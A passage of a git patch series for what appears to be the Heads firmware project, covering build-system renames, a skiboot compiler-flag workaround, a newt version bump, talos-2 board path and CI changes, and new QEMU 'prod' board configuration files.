# Force a full build of the cross compiler for target platform # No need to build i386 for x86 since coreboot uses its own compiler -musl-cross_configure := \ +musl-cross-make_configure := \ echo -e >> Makefile 'musl-target:' ; \ echo -e >> Makefile '\t$$$$(MAKE) TARGET="$(MUSL_ARCH)-linux-musl" install' ; CROSS_PATH ?= $(pwd)/crossgcc/$(CONFIG_TARGET_ARCH) -musl-cross_target := \ +musl-cross-make_target := \ OUTPUT="$(CROSS_PATH)" \ MAKE="$(MAKE)" \ $(MAKE_JOBS) \ "musl-target" CROSS := $(CROSS_PATH)/bin/$(subst -,_,$(MUSL_ARCH))-linux-musl- -musl-cross_libraries := $(CROSS_PATH)/$(subst -,_,$(MUSL_ARCH))-linux-musl/lib/libc.so +musl-cross-make_libraries := $(CROSS_PATH)/$(subst -,_,$(MUSL_ARCH))-linux-musl/lib/libc.so endif -musl-cross_output := $(CROSS)gcc +musl-cross-make_output := $(CROSS)gcc ## Fake a target so that musl will force a header install by the ## Linux kernel sources. -$(build)/$(musl-cross_dir)/.build: $(INSTALL)/include/linux/limits.h +$(build)/$(musl-cross-make_dir)/.build: $(INSTALL)/include/linux/limits.h endif From 9e311b6e970b9737c3fd0757825fa1c3f38a886d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 6 Nov 2024 12:12:56 -0500 Subject: [PATCH 328/619] patches/coreboot-talos_2: add ugly patch against skiboot-to fix CFLAGS against newer mulslc (Doesn't use coreboot buildstack, obviously) Signed-off-by: Thierry Laurion --- ...-patch_fix_for_newer_gcc_from_musl_125.patch | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 patches/coreboot-talos_2/0003-ugly_skiboot-patch_fix_for_newer_gcc_from_musl_125.patch diff --git a/patches/coreboot-talos_2/0003-ugly_skiboot-patch_fix_for_newer_gcc_from_musl_125.patch b/patches/coreboot-talos_2/0003-ugly_skiboot-patch_fix_for_newer_gcc_from_musl_125.patch new file mode 100644 index 000000000..97bb9cc62 --- /dev/null +++ b/patches/coreboot-talos_2/0003-ugly_skiboot-patch_fix_for_newer_gcc_from_musl_125.patch @@ -0,0 +1,17 @@ +diff --git a/payloads/external/skiboot/patches/0002-ugly_fix_for_newer_gcc_from_musl_125.patch b/payloads/external/skiboot/patches/0002-ugly_fix_for_newer_gcc_from_musl_125.patch +new file mode 100644 +index 0000000..5db9bca +--- /dev/null ++++ b/payloads/external/skiboot/patches/0002-ugly_fix_for_newer_gcc_from_musl_125.patch +@@ -0,0 +1,11 @@ ++--- Makefile.main.orig 2024-11-06 16:19:12.161240140 -0500 +++++ Makefile.main 2024-11-06 16:23:01.119252412 -0500 ++@@ -74,7 +74,7 @@ ++ CPPFLAGS += -DDEBUG -DCCAN_LIST_DEBUG ++ endif ++ ++-CFLAGS := -fno-strict-aliasing -pie -fpie -fno-pic -mbig-endian -m64 -fno-asynchronous-unwind-tables +++CFLAGS := -Wno-error=address-of-packed-member -Wno-error=format-overflow -fno-strict-aliasing -pie -fpie -fno-pic -mbig-endian -m64 -fno-asynchronous-unwind-tables ++ CFLAGS += -mcpu=power7 ++ CFLAGS += -Wl,--oformat,elf64-powerpc -ggdb ++ CFLAGS += $(call try-cflag,$(CC),-ffixed-r13) From 2a8cc11a46a31b95b243209936ea04676f16363f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 7 Nov 2024 10:18:58 -0500 Subject: [PATCH 329/619] newt (whiptail): bump version 0.52.20 -> 0.52.24 (fixs random whiptail crash with newer muslc + parallel builds popt havent't changed. Signed-off-by: Thierry Laurion --- modules/newt | 5 ++--- patches/{newt-0.52.20.patch => newt-0.52.24.patch} | 0 2 files changed, 2 insertions(+), 3 deletions(-) rename patches/{newt-0.52.20.patch => newt-0.52.24.patch} (100%) diff --git a/modules/newt b/modules/newt index d9fb2c2d2..2d8b2f26e 100644 --- a/modules/newt +++ b/modules/newt @@ -2,16 +2,15 @@ modules-$(CONFIG_NEWT) += newt newt_depends := popt slang $(musl_dep) -newt_version := 0.52.20 +newt_version := 0.52.24 newt_dir := newt-$(newt_version) newt_tar := newt-$(newt_version).tar.gz newt_url := https://releases.pagure.org/newt/$(newt_tar) -newt_hash := 8d66ba6beffc3f786d4ccfee9d2b43d93484680ef8db9397a4fb70b5adbb6dbc +newt_hash := 5ded7e221f85f642521c49b1826c8de19845aa372baf5d630a51774b544fbdbb newt_target := \ #We remove Makefile passed number of jobs to only pass one job, otherwise fails to build #$(MAKE_JOBS) \ - -j1 \ $(CROSS_TOOLS) \ newt_output := \ diff --git a/patches/newt-0.52.20.patch b/patches/newt-0.52.24.patch similarity index 100% rename from patches/newt-0.52.20.patch rename to patches/newt-0.52.24.patch From d3ec7d7ba90feaea31d5b25dbef8a5a5be177176 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 8 Nov 2024 07:35:39 -0500 Subject: [PATCH 330/619] talos-2: fix buildsystem: make paths dynamic for this board so board name can change over time Signed-off-by: Thierry Laurion --- Makefile | 6 +++--- config/linux-talos-2.config | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/Makefile b/Makefile index ff814647c..e53340979 100644 --- a/Makefile +++ b/Makefile @@ -231,9 +231,9 @@ ifeq ($(CONFIG_COREBOOT), y) # Legacy flash boards don't generate an update package, the only purpose of # those boards is to be flashed over vendor firmware via an exploit. ifneq ($(CONFIG_LEGACY_FLASH), y) -# talos-2 builds its own update package, which is not integrated with the ZIP -# method currently -ifneq ($(BOARD), talos-2) +# Boards containing 'talos-2' build their own update package, which is not integrated with the ZIP method currently +ifneq ($(findstring talos-2, $(BOARD)),) +else # Coreboot targets create an update package that can be applied with integrity # verification before flashing (see flash-gui.sh). The ZIP package format # allows other metadata that might be needed to added in the future without diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index f42b657bd..a4d826656 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -128,7 +128,7 @@ CONFIG_CC_HAS_INT128=y # CONFIG_SYSFS_DEPRECATED is not set CONFIG_RELAY=y CONFIG_BLK_DEV_INITRD=y -CONFIG_INITRAMFS_SOURCE="../../talos-2/initrd.cpio" +CONFIG_INITRAMFS_SOURCE="../@BOARD_BUILD_DIR@/initrd.cpio" CONFIG_INITRAMFS_ROOT_UID=0 CONFIG_INITRAMFS_ROOT_GID=0 # CONFIG_RD_GZIP is not set From a8ba6bafb79944e61c82f278bc57527c23066282 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 7 Nov 2024 13:25:13 -0500 Subject: [PATCH 331/619] talos-2: move(tag) board to untested: I won't have time any time soon to test nor report issues for this unknowingly used board prior of feature freeze planned for 2024-11-20 repro: helper used time docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=talos-2 board.move_tested_to_untested Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- .../UNTESTED_talos-2.config} | 0 2 files changed, 4 insertions(+), 4 deletions(-) rename boards/{talos-2/talos-2.config => UNTESTED_talos-2/UNTESTED_talos-2.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 2ce807047..f7a347d97 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -220,7 +220,7 @@ workflows: - build_and_persist: name: ppc64-musl-cross-make arch: ppc64 - target: talos-2 + target: UNTESTED_talos-2 subcommand: "musl-cross-make" requires: - prep_env @@ -258,9 +258,9 @@ workflows: # coreboot talos_2 - build_and_persist: - name: talos-2 + name: UNTESTED_talos-2 arch: ppc64 - target: talos-2 + target: UNTESTED_talos-2 subcommand: "" requires: - ppc64-musl-cross-make @@ -277,7 +277,7 @@ workflows: # Make sure workspace caches are chainloaded and the last in chain for an arch is saved - save_cache: requires: - - talos-2 + - UNTESTED_talos-2 - librem_14 # Those onboarding new boards should add their entries below. diff --git a/boards/talos-2/talos-2.config b/boards/UNTESTED_talos-2/UNTESTED_talos-2.config similarity index 100% rename from boards/talos-2/talos-2.config rename to boards/UNTESTED_talos-2/UNTESTED_talos-2.config From 068c977e73440e946791ad0c9822bbb92d00ef92 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 11 Nov 2024 19:37:31 -0500 Subject: [PATCH 332/619] boards/qemu*: add "prod" variants, not built by CircleCI as of now, to test Heads prod console output Signed-off-by: Thierry Laurion --- ...-coreboot-fbwhiptail-tpm1-hotp-prod.config | 97 +++++++++++++++++++ .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 95 ++++++++++++++++++ ...-coreboot-fbwhiptail-tpm2-hotp-prod.config | 96 ++++++++++++++++++ .../qemu-coreboot-fbwhiptail-tpm2-prod.config | 95 ++++++++++++++++++ ...mu-coreboot-whiptail-tpm1-hotp-prod.config | 97 +++++++++++++++++++ .../qemu-coreboot-whiptail-tpm1-prod.config | 95 ++++++++++++++++++ ...mu-coreboot-whiptail-tpm2-hotp-prod.config | 96 ++++++++++++++++++ .../qemu-coreboot-whiptail-tpm2-prod.config | 95 ++++++++++++++++++ 8 files changed, 766 insertions(+) create mode 100644 boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config create mode 100644 boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config create mode 100644 boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config create mode 100644 boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config create mode 100644 boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config create mode 100644 boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config create mode 100644 boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config create mode 100644 boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config new file mode 100644 index 000000000..d31ba5f35 --- /dev/null +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -0,0 +1,97 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# +# TPM can be used with a qemu software TPM (TIS, 1.2). A Librem Key or +# Nitrokey Pro can also be used by forwarding the USB device from the host to +# the VM. +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +#CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config new file mode 100644 index 000000000..ee9785977 --- /dev/null +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -0,0 +1,95 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# +# TPM can be used with a qemu software TPM (TIS, 1.2). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config new file mode 100644 index 000000000..cb8626f20 --- /dev/null +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config @@ -0,0 +1,96 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in graphical mode thanks to FBWhiptail +# This version requires a supported HOTP Security dongle (Nitrokey Pro/Storage or Librem Key) +# +# TPM can be used with a qemu software TPM (TIS, 2.0). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config new file mode 100644 index 000000000..9368ada65 --- /dev/null +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config @@ -0,0 +1,95 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in graphical mode thanks to FBWhiptail +# +# TPM can be used with a qemu software TPM (TIS, 2.0). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +#CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +#export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config new file mode 100644 index 000000000..ba886d904 --- /dev/null +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -0,0 +1,97 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in console mode thanks to Whiptail +# +# TPM can be used with a qemu software TPM (TIS, 1.2). A Librem Key or +# Nitrokey Pro can also be used by forwarding the USB device from the host to +# the VM. +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +#CONFIG_TPM2_TSS=y +#CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +CONFIG_SLANG=y +CONFIG_NEWT=y +#FBWhiptail based (Graphical): +#CONFIG_CAIRO=y +#CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +#export CONFIG_TPM2_TOOLS=y +#export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config 